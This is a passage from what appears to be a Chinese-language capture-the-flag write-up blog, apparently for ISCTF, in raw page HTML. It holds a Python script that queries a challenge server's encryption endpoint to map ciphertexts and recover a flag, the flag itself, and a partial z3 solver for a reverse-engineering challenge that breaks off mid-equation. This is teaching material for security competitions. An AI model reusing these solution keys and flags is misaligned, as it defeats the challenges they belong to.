lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"593\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-110-1024x593.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1675\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u9898\u6b65\u9aa4<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u679a\u4e3e\u6240\u6709\u53ef\u6253\u5370\u5b57\u7b26<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9010\u4e2a\u53d1\u9001\u5b57\u7b26\u5230\u52a0\u5bc6\u63a5\u53e3<\/li>\n\n\n\n<li>\u8bb0\u5f55\u6bcf\u4e2a\u5b57\u7b26\u5bf9\u5e94\u7684\u5bc6\u6587<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6784\u5efa\u5b8c\u6574\u6620\u5c04\u8868<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\"202c\" \u2192 \"I\"\n\"0a\" \u2192 \"S\"\n\"1ba3\" \u2192 \"C\"\n\"2f4\" \u2192 \"T\"\n\"a84\" \u2192 \"F\"\n...\uff08\u5176\u4ed6\u5b57\u7b26\uff09<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u5bc6Flag<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06\u957f\u5bc6\u6587\u6309\u7a7a\u683c\u5206\u5272<\/li>\n\n\n\n<li>\u7528\u6620\u5c04\u8868\u67e5\u627e\u6bcf\u4e2a\u5bc6\u6587\u5757\u5bf9\u5e94\u7684\u5b57\u7b26<\/li>\n\n\n\n<li>\u62fc\u63a5\u5f97\u5230\u660e\u6587Flag<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u9898\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport string\nimport time\n\nURL = \"http:\/\/challenge.bluesharkinfo.com:26053\/encrypt\"\nPARAMS = {'a': 1234, 'b': 3366, 'c': 9999}\n\n# \u4ece\u9898\u76ee\u9875\u9762\u83b7\u53d6\u7684Flag\u5bc6\u6587\nFLAG_CIPHER = \"202c 0a 1ba3 2f4 a84 2532 14ad 2086 24a3 138d 5c4 110e 138d 1773 153c ee0 21ee 22aa 110e 153c 149b 26ac 1773 5c4 153c 21ee 24a3 19ce ee0 153c 138d ee0 1773 24a3 26ac 19ce 138d c8e 2086 110e 14ad 14ad 1117\".split()\n\ndef get_cipher(text):\n    \"\"\"\u83b7\u53d6\u6307\u5b9a\u6587\u672c\u7684\u52a0\u5bc6\u7ed3\u679c\"\"\"\n    data = PARAMS.copy()\n    data&#91;'text'] = text\n\n    try:\n        r = requests.post(URL, data=data, timeout=5)\n        if r.status_code == 200 and '\u5bc6\u6587:' in r.text:\n            # \u63d0\u53d6\u5bc6\u6587\u90e8\u5206\n            start = r.text.find('\u5bc6\u6587:')\n            hex_div = r.text.find('&lt;div class=\"hex-output\"&gt;', start)\n            if hex_div != -1:\n                hex_start = r.text.find('&gt;', hex_div) + 1\n                hex_end = r.text.find('&lt;\/div&gt;', hex_start)\n                return r.text&#91;hex_start:hex_end].strip().split()\n    except:\n        pass\n    return None\n\ndef build_mapping():\n    \"\"\"\u6784\u5efa\u5b57\u7b26\u5230\u5bc6\u6587\u7684\u6620\u5c04\u8868\"\"\"\n    mapping = {}\n    # \u6d4b\u8bd5\u5e38\u89c1\u5b57\u7b26\uff08\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u7b26\u53f7\uff09\n    chars = string.printable  # \u5305\u62ec\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u6807\u70b9\u3001\u7a7a\u767d\u5b57\u7b26\n\n    print(\"\u6b63\u5728\u6784\u5efa\u5b57\u7b26\u6620\u5c04\u8868...\")\n    for char in chars:\n        cipher = get_cipher(char)\n        if cipher and len(cipher) == 1:  # \u5355\u4e2a\u5b57\u7b26\u901a\u5e38\u5bf9\u5e94\u5355\u4e2a\u5bc6\u6587\u5757\n            mapping&#91;cipher&#91;0]] = char\n        time.sleep(0.05)  # \u907f\u514d\u8bf7\u6c42\u8fc7\u5feb\n\n    print(f\"\u6620\u5c04\u8868\u5b8c\u6210\uff0c\u5171 {len(mapping)} \u4e2a\u5b57\u7b26\")\n    return mapping\n\ndef decrypt_flag(mapping):\n    \"\"\"\u4f7f\u7528\u6620\u5c04\u8868\u89e3\u5bc6Flag\"\"\"\n    flag_parts = &#91;]\n\n    print(\"n\u5f00\u59cb\u89e3\u5bc6Flag...\")\n    for i, cipher in enumerate(FLAG_CIPHER, 1):\n        if cipher in mapping:\n            char = mapping&#91;cipher]\n            flag_parts.append(char)\n            print(f\"&#91;{i:2d}] {cipher} -&gt; {repr(char)}\")\n        else:\n            flag_parts.append('?')\n            print(f\"&#91;{i:2d}] {cipher} -&gt; ? (\u672a\u77e5)\")\n\n    flag = ''.join(flag_parts)\n    print(f\"n\u89e3\u5bc6\u7ed3\u679c: {flag}\")\n    return flag\n\ndef main():\n    # \u6784\u5efa\u6620\u5c04\u8868\n    mapping = build_mapping()\n\n    # \u89e3\u5bc6Flag\n    flag = decrypt_flag(mapping)\n\n    # \u68c0\u67e5\u662f\u5426\u53ef\u80fd\u662fflag\u683c\u5f0f\uff08\u901a\u5e38\u5305\u542b{}\uff09\n    if 'ISCTF{' in flag:\n        print(f\"n\u2705 \u53d1\u73b0Flag\u683c\u5f0f: {flag}\")\n    else:\n        print(\"n\u26a0\ufe0f  \u89e3\u5bc6\u7ed3\u679c\u53ef\u80fd\u4e0d\u5b8c\u6574\uff0c\u68c0\u67e5\u7f3a\u5931\u7684\u6620\u5c04\")\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-111.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"679\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-111.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1676\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{d2576173-ba01-4c36-a5fb-7b35cf7821dd}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Reverse<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">ezzz_math<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-112.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"678\" height=\"690\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-112.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1677\"  sizes=\"auto, (max-width: 678px) 100vw, 678px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230\u9898\u76ee\u8fdb\u884c\u4f4d\u6570\u68c0\u6d4b\uff0c\u53d1\u73b0\u8fd9\u91cc\u662f32\u4f4d\u7684\uff0c\u8fd8\u662f\u6ca1\u6709\u52a0\u5bc6\u7684c++ \uff0c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-113.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"318\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-113.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1678\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-114-1024x645.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"645\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-114-1024x645.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1679\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">F5\u8fdb\u884c\u53cd\u6c47\u7f16\u8fdb\u884c\u67e5\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-115.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"692\" height=\"744\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-115.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1680\"  sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u5206\u6790\u5faa\u73af\uff0csub_40D8B0,\u8fd9\u4e2a\u51fd\u6570\u662f\u68c0\u67e5\u5b57\u7b26\u4e32\u957f\u5ea6\u7684\uff0c\u662f\u542623\u4f4d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f23\u4f4d\u5c31\u8fdb\u884c0xcu\u5f02\u6216\u64cd\u4f5c\uff0cif\u8fd9\u91cc\u8c03\u7528sub_40100\u51fd\u6570\u9a8c\u8bc1\u89e3\u5bc6\u5185\u5bb9\uff0c\u8fdb\u53bb\u770b\u770b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff0c\u53d1\u73b0\u4e86\u8fd9\u4e2a\u51fd\u6570\u7684\u6838\u5fc3\u903b\u8f91\uff0c\u592a\u591a\u5c31\u4e0d\u663e\u793a\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-116-636x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"636\" height=\"1024\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-116-636x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1681\"  sizes=\"auto, (max-width: 636px) 100vw, 636px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u662f\u4e00\u4e2a\u7ebf\u6027\u65b9\u7a0b\u9a8c\u8bc1\u51fd\u6570\uff0c\u901a\u8fc720\u4e2a\u7ebf\u6027\u65b9\u7a0b\u6765\u9a8c\u8bc123\u4e2a\u5b57\u7b26\u4e32\uff0c\u91cc\u9762\u8fd8\u6709\u52a0\u51cf\u4e58\u9664\uff0c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd8\u6709\u4f4d\u8fd0\u7b97\u5de6\u79fb\u516d\u4f4d\uff0c&amp;&amp;\u6765\u8fde\u63a5\u9a8c\u8bc1\u5fc5\u987b\u90fd\u6210\u7acb<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6211\u4eec\u77e5\u9053\u4e86\u5f02\u6216\u52a0\u5bc6\uff0c\u77e5\u9053\u4e86\u9a8c\u8bc1\u51fd\u6570\uff0c\u8fdb\u884c\u89e3\u5bc6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">p3\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import z3\n\n# 1. \u521b\u5efa23\u4e2a\u53d8\u91cf\uff08\u5bf9\u5e94a1&#91;0]~a1&#91;22]\uff0c\u5f02\u6216\u540e\u7684\u5b57\u7b26\uff0cASCII\u8303\u56f40~127\uff09\na = &#91;z3.BitVec(f\"a{i}\", 8) for i in range(23)]  # 8\u4f4d\u6bd4\u7279\u5411\u91cf\uff0c\u5bf9\u5e94char\u7c7b\u578b\nsolver = z3.Solver()\n\n# \u7ea6\u675f\uff1a\u5b57\u7b26\u662f\u53ef\u6253\u5370ASCII\uff08\u53ef\u9009\uff0c\u4f46flag\u901a\u5e38\u662f\u53ef\u6253\u5370\u5b57\u7b26\uff0c\u52a0\u901f\u6c42\u89e3\uff09\nfor var in a:\n    solver.add(var &gt;= 0x20)  # \u7a7a\u683c\n    solver.add(var &lt;= 0x7E)  # ~\n\n# 2. \u6dfb\u52a0sub_401000\u768424\u4e2a\u7ea6\u675f\u65b9\u7a0b\uff08\u4e25\u683c\u5bf9\u5e94\u51fd\u6570\u903b\u8f91\uff09\n# \u65b9\u7a0b1: 94*a22 +74*a21 +70*a19 +12*a18 +20*a16 +62*a12 +82*a10 +7*a7 +63*a6 +18*a5 +58*a4 +94*a2 +77*a0 -43*a1 -37*a3 -97*a8 -23*a9 -86*a11 -6*a13 -5*a14 -79*a15 -63*a17 -93*a20 == 20156\nsolver.add(\n    94*a&#91;22] + 74*a&#91;21] + 70*a&#91;19] + 12*a&#91;18] + 20*a&#91;16] + 62*a&#91;12] + 82*a&#91;10] +\n    7*a&#91;7] + 63*a&#91;6] + 18*a&#91;5] + 58*a&#91;4] + 94*a&#91;2] + 77*a&#91;0] - 43*a&#91;1] - 37*a&#91;3] -\n    97*a&#91;8] - 23*a&#91;9] - 86*a&#91;11] - 6*a&#91;13] - 5*a&#91;14] - 79*a&#91;15] - 63*a&#91;17] - 93*a&#91;20] == 20156\n)\n\n# \u65b9\u7a0b2: 87*a22 +75*a21 +73*a15 +67*a14 +30*a13 +(a11&lt;&lt;6) +35*a9 +91*a7 +91*a5 +34*a3 +74*a0 -89*a1 -72*a2 -76*a4 -32*a6 -97*a8 -39*a10 -23*a12 +8*a16 -98*a17 -4*a18 -80*a19 -83*a20 ==7183\nsolver.add(\n    87*a&#91;22] + 75*a&#91;21] + 73*a&#91;15] + 67*a&#91;14] + 30*a&#91;13] + (a&#91;11] &lt;&lt; 6) + 35*a&#91;9] +\n    91*a&#91;7] + 91*a&#91;5] + 34*a&#91;3] + 74*a&#91;0] - 89*a&#91;1] - 72*a&#91;2] - 76*a&#91;4] - 32*a&#91;6] -\n    97*a&#91;8] - 39*a&#91;10] - 23*a&#91;12] + 8*a&#91;16] - 98*a&#91;17] - 4*a&#91;18] - 80*a&#91;19] - 83*a&#91;20] == 7183\n)\n\n# \u65b9\u7a0b3: 51*a21 +22*a20 +15*a19 +51*a17 +96*a12 +34*a7 +77*a5 +59*a2 +89*a1 +92*a0 -85*a3 -50*a4 -51*a6 -75*a8 -40*a10 -4*a11 -74*a13 -98*a14 -23*a15 -14*a16 -92*a18 -7*a22 ==-7388\nsolver.add(\n    51*a&#91;21] + 22*a&#91;20] + 15*a&#91;19] + 51*a&#91;17] + 96*a&#91;12] + 34*a&#91;7] + 77*a&#91;5] +\n    59*a&#91;2] + 89*a&#91;1] + 92*a&#91;0] - 85*a&#91;3] - 50*a&#91;4] - 51*a&#91;6] - 75*a&#91;8] - 40*a&#91;10] -\n    4*a&#91;11] - 74*a&#91;13] - 98*a&#91;14] - 23*a&#91;15] - 14*a&#91;16] - 92*a&#91;18] - 7*a&#91;22] == -7388\n)\n\n# \u65b9\u7a0b4: 61*a22 +72*a21 +28*a20 +55*a18 +20*a17 +13*a14 +51*a13 +69*a12 +10*a11 +95*a10 +43*a9 +53*a8 +76*a7 +25*a6 +9*a5 +10*a4 +98*a1 +70*a0 -22*a2 +2*a3 -49*a15 +4*a16 -77*a19 ==69057\nsolver.add(\n    61*a&#91;22] + 72*a&#91;21] + 28*a&#91;20] + 55*a&#91;18] + 20*a&#91;17] + 13*a&#91;14] + 51*a&#91;13] +\n    69*a&#91;12] + 10*a&#91;11] + 95*a&#91;10] + 43*a&#91;9] + 53*a&#91;8] + 76*a&#91;7] + 25*a&#91;6] + 9*a&#91;5] +\n    10*a&#91;4] + 98*a&#91;1] + 70*a&#91;0] - 22*a&#91;2] + 2*a&#91;3] - 49*a&#91;15] + 4*a&#91;16] - 77*a&#91;19] == 69057\n)\n\n# \u65b9\u7a0b5:7*a22 +21*a16 +22*a13 +55*a9 +66*a8 +78*a5 +10*a3 +80*a1 +65*a0 -20*a2 -53*a4 -98*a6 +8*a7 -78*a10 -94*a11 -93*a12 -18*a14 -48*a15 -9*a17 -73*a18 -59*a19 -68*a20 -74*a21 ==-31438\nsolver.add(\n    7*a&#91;22] + 21*a&#91;16] + 22*a&#91;13] + 55*a&#91;9] + 66*a&#91;8] + 78*a&#91;5] + 10*a&#91;3] +\n    80*a&#91;1] + 65*a&#91;0] - 20*a&#91;2] - 53*a&#91;4] - 98*a&#91;6] + 8*a&#91;7] - 78*a&#91;10] - 94*a&#91;11] -\n    93*a&#91;12] - 18*a&#91;14] - 48*a&#91;15] - 9*a&#91;17] - 73*a&#91;18] - 59*a&#91;19] - 68*a&#91;20] - 74*a&#91;21] == -31438\n)\n\n# \u65b9\u7a0b6:33*a19 +78*a15 +66*a10 +3*a9 +43*a4 +24*a3 +3*a2 +27*a0 -18*a1 -46*a5 -18*a6 -a7 -33*a8 -50*a11 -23*a12 -37*a13 -45*a14 +2*a16 -a17 -60*a18 -87*a20 -72*a21 -6*a22 ==-26121\nsolver.add(\n    33*a&#91;19] + 78*a&#91;15] + 66*a&#91;10] + 3*a&#91;9] + 43*a&#91;4] + 24*a&#91;3] + 3*a&#91;2] +\n    27*a&#91;0] - 18*a&#91;1] - 46*a&#91;5] - 18*a&#91;6] - a&#91;7] - 33*a&#91;8] - 50*a&#91;11] - 23*a&#91;12] -\n    37*a&#91;13] - 45*a&#91;14] + 2*a&#91;16] - a&#91;17] - 60*a&#91;18] - 87*a&#91;20] - 72*a&#91;21] - 6*a&#91;22] == -26121\n)\n\n# \u65b9\u7a0b7:31*a20 +80*a18 +34*a17 +34*a15 +38*a14 +53*a13 +35*a12 +82*a9 +27*a8 +80*a7 +46*a6 +18*a4 +5*a1 +98*a0 -12*a2 -9*a3 -57*a5 -46*a10 -31*a11 -68*a16 -94*a19 -93*a21 -15*a22 ==26005\nsolver.add(\n    31*a&#91;20] + 80*a&#91;18] + 34*a&#91;17] + 34*a&#91;15] + 38*a&#91;14] + 53*a&#91;13] + 35*a&#91;12] +\n    82*a&#91;9] + 27*a&#91;8] + 80*a&#91;7] + 46*a&#91;6] + 18*a&#91;4] + 5*a&#91;1] + 98*a&#91;0] - 12*a&#91;2] -\n    9*a&#91;3] - 57*a&#91;5] - 46*a&#91;10] - 31*a&#91;11] - 68*a&#91;16] - 94*a&#91;19] - 93*a&#91;21] - 15*a&#91;22] == 26005\n)\n\n# \u65b9\u7a0b8:81*a21 +40*a20 +34*a19 +94*a18 +98*a17 +11*a14 +63*a13 +95*a12 +43*a11 +99*a10 +29*a9 +81*a6 +72*a5 +54*a3 +21*a0 -26*a1 -90*a2 -15*a4 -54*a7 -12*a8 -38*a15 -15*a16 -56*a22 ==57169\nsolver.add(\n    81*a&#91;21] + 40*a&#91;20] + 34*a&#91;19] + 94*a&#91;18] + 98*a&#91;17] + 11*a&#91;14] + 63*a&#91;13] +\n    95*a&#91;12] + 43*a&#91;11] + 99*a&#91;10] + 29*a&#91;9] + 81*a&#91;6] + 72*a&#91;5] + 54*a&#91;3] + 21*a&#91;0] -\n    26*a&#91;1] - 90*a&#91;2] - 15*a&#91;4] - 54*a&#91;7] - 12*a&#91;8] - 38*a&#91;15] - 15*a&#91;16] - 56*a&#91;22] == 57169\n)\n\n# \u65b9\u7a0b9:71*a18 +39*a17 +73*a15 +14*a14 +56*a12 +56*a10 +27*a9 +68*a7 +39*a6 +26*a5 +40*a4 +24*a3 +11*a2 +14*a1 +94*a0 -10*a8 -11*a11 -63*a13 -39*a16 -14*a19 -17*a20 -23*a21 -7*a22 ==40024\nsolver.add(\n    71*a&#91;18] + 39*a&#91;17] + 73*a&#91;15] + 14*a&#91;14] + 56*a&#91;12] + 56*a&#91;10] + 27*a&#91;9] +\n    68*a&#91;7] + 39*a&#91;6] + 26*a&#91;5] + 40*a&#91;4] + 24*a&#91;3] + 11*a&#91;2] + 14*a&#91;1] + 94*a&#91;0] -\n    10*a&#91;8] - 11*a&#91;11] - 63*a&#91;13] - 39*a&#91;16] - 14*a&#91;19] - 17*a&#91;20] - 23*a&#91;21] - 7*a&#91;22] == 40024\n)\n\n# \u65b9\u7a0b10:(a22&lt;&lt;6) +80*a21 +89*a20 +70*a19 +66*a18 +55*a17 +16*a16 +84*a13 +48*a12 +11*a7 +32*a5 +99*a0 -26*a1 -91*a2 -96*a3 -63*a4 -67*a6 -72*a8 +4*a9 -84*a10 -81*a11 -80*a14 -98*a15 ==432\nsolver.add(\n    (a&#91;22] &lt;&lt; 6) + 80*a&#91;21] + 89*a&#91;20] + 70*a&#91;19] + 66*a&#91;18] + 55*a&#91;17] + 16*a&#91;16] +\n    84*a&#91;13] + 48*a&#91;12] + 11*a&#91;7] + 32*a&#91;5] + 99*a&#91;0] - 26*a&#91;1] - 91*a&#91;2] - 96*a&#91;3] -\n    63*a&#91;4] - 67*a&#91;6] - 72*a&#91;8] + 4*a&#91;9] - 84*a&#91;10] - 81*a&#91;11] - 80*a&#91;14] - 98*a&#91;15] == 432\n)\n\n# \u65b9\u7a0b11:a21 +41*a17 +46*a12 +44*a9 +63*a0 -73*a1 -43*a2 +4*a3 -37*a4 -54*a5 -58*a6 -95*a7 -2*a8 -37*a10 -5*a11 +2*a13 -46*a14 -27*a15 -19*a16 -78*a18 -51*a19 -82*a20 -59*a22 ==-57338\nsolver.add(\n    a&#91;21] + 41*a&#91;17] + 46*a&#91;12] + 44*a&#91;9] + 63*a&#91;0] - 73*a&#91;1] - 43*a&#91;2] + 4*a&#91;3] -\n    37*a&#91;4] - 54*a&#91;5] - 58*a&#91;6] - 95*a&#91;7] - 2*a&#91;8] - 37*a&#91;10] - 5*a&#91;11] + 2*a&#91;13] -\n    46*a&#91;14] - 27*a&#91;15] - 19*a&#91;16] - 78*a&#91;18] - 51*a&#91;19] - 82*a&#91;20] - 59*a&#91;22] == -57338\n)\n\n# \u65b9\u7a0b12:10*a22 +58*a18 +16*a17 +69*a16 +6*a15 +5*a12 +87*a7 +47*a5 +91*a4 +54*a2 +21*a1 +52*a0 -76*a3 -96*a6 -27*a8 -43*a9 -15*a10 -35*a11 -53*a13 +4*a14 -83*a19 -68*a20 -18*a21 ==1777\nsolver.add(\n    10*a&#91;22] + 58*a&#91;18] + 16*a&#91;17] + 69*a&#91;16] + 6*a&#91;15] + 5*a&#91;12] + 87*a&#91;7] +\n    47*a&#91;5] + 91*a&#91;4] + 54*a&#91;2] + 21*a&#91;1] + 52*a&#91;0] - 76*a&#91;3] - 96*a&#91;6] - 27*a&#91;8] -\n    43*a&#91;9] - 15*a&#91;10] - 35*a&#91;11] - 53*a&#91;13] + 4*a&#91;14] - 83*a&#91;19] - 68*a&#91;20] - 18*a&#91;21] == 1777\n)\n\n# \u65b9\u7a0b13:66*a22 +92*a21 +29*a20 +42*a19 +55*a14 +72*a13 +40*a12 +31*a10 +88*a9 +61*a8 +59*a7 +35*a6 +16*a3 +24*a1 +60*a0 -55*a2 -8*a4 -7*a5 -17*a11 -25*a15 -22*a16 -10*a17 -59*a18 ==47727\nsolver.add(\n    66*a&#91;22] + 92*a&#91;21] + 29*a&#91;20] + 42*a&#91;19] + 55*a&#91;14] + 72*a&#91;13] + 40*a&#91;12] +\n    31*a&#91;10] + 88*a&#91;9] + 61*a&#91;8] + 59*a&#91;7] + 35*a&#91;6] + 16*a&#91;3] + 24*a&#91;1] + 60*a&#91;0] -\n    55*a&#91;2] - 8*a&#91;4] - 7*a&#91;5] - 17*a&#91;11] - 25*a&#91;15] - 22*a&#91;16] - 10*a&#91;17] - 59*a&#91;18] == 47727\n)\n\n# \u65b9\u7a0b14:3*a21 +54*a18 +6*a15 +93*a14 +74*a10 +6*a7 +98*a4 +65*a3 +84*a2 +18*a1 +35*a0 -29*a5 -40*a6 -35*a8 +8*a9 -15*a11 -4*a12 -83*a16 -74*a17 -72*a19 -53*a20 -31*a22 ==6695\nsolver.add(\n    3*a&#91;21] + 54*a&#91;18] + 6*a&#91;15] + 93*a&#91;14] + 74*a&#91;10] + 6*a&#91;7] + 98*a&#91;4] +\n    65*a&#91;3] + 84*a&#91;2] + 18*a&#91;1] + 35*a&#91;0] - 29*a&#91;5] - 40*a&#91;6] - 35*a&#91;8] + 8*a&#91;9] -\n    15*a&#91;11] - 4*a&#91;12] - 83*a&#91;16] - 